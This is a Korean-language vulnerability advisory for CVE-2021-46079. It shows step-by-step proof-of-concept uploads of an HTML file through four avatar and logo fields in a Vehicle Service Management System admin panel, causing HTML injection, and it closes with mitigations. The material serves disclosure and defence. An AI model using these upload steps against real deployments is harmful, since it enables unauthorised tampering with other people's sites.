CVE-2021-46079
익스플로잇 제목: Vehicle Service Management System - '다중' 파일 업로드로 인한 HTML 인젝션
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
참고 자료:
설명:
Sourcecodester Vehicle Service Management System 1.0에 무제한 파일 업로드 취약점이 존재합니다. 원격 공격자는 악성 파일을 업로드하여 HTML 인젝션을 유발할 수 있습니다.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- 내 계정(My Account) 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 위 HTML 코드를 저장합니다. 예: Html Injection.html
- 내 계정(My Account) 섹션에서 모든 필수 정보를 입력하고 아바타(Avatar)에서 HTML 파일을 선택합니다.
- 업데이트(Update) 버튼을 클릭합니다.
- 아바타 이미지를 새 탭에서 엽니다.
- HTML 인젝션이 실행됩니다.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- 사용자 목록(User List) 섹션으로 이동하고 새로 만들기(Create New) 버튼을 클릭합니다.
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 위 HTML 코드를 저장합니다. 예: Html Injection.html
- 새 사용자 생성(Create New User) 페이지에서 모든 필수 정보를 입력하고 아바타(Avatar)에서 HTML 파일을 선택합니다.
- 저장(Save) 버튼을 클릭합니다.
- 아바타 이미지를 새 탭에서 엽니다.
- HTML 인젝션이 실행됩니다.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Payload:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- 설정(Settings) 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 위 HTML 코드를 저장합니다. 예: Html Injection.html
- 설정(Settings) 섹션에서 모든 필수 정보를 입력하고 시스템 로고(System Logo)에서 HTML 파일을 선택합니다.
- 업데이트(Update) 버튼을 클릭합니다.
- 시스템 로고 이미지를 새 탭에서 엽니다.
- HTML 인젝션이 실행됩니다.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- 설정(Settings) 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 위 HTML 코드를 저장합니다. 예: Html Injection.html
- 설정(Settings) 섹션에서 모든 필수 정보를 입력하고 웹사이트 커버(Website Cover)에서 HTML 파일을 선택합니다.
- 업데이트(Update) 버튼을 클릭합니다.
- 웹사이트 커버 이미지를 새 탭에서 엽니다.
- HTML 인젝션이 실행됩니다.
영향:
공격자는 여러 엔드포인트에 악성 파일을 업로드할 수 있으며, 이는 HTML 인젝션으로 이어집니다.
완화 조치:
다음 사항을 구현하는 것이 권장됩니다:
- 화이트리스트 필터 없이 파일 이름과 확장자를 직접 허용하지 마십시오.
- 유니코드 문자가 필요하지 않은 경우, 파일 이름과 확장자에 영숫자 문자와 점 하나만 입력으로 허용하는 것이 좋습니다.
- 서비스 거부 공격을 방지하기 위해 파일 크기를 최대값으로 제한하십시오.
- 업로드 디렉터리에 "실행" 권한이 없어야 합니다.
- 클라이언트 측 검증에만 의존하지 마십시오.
sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-html-injection
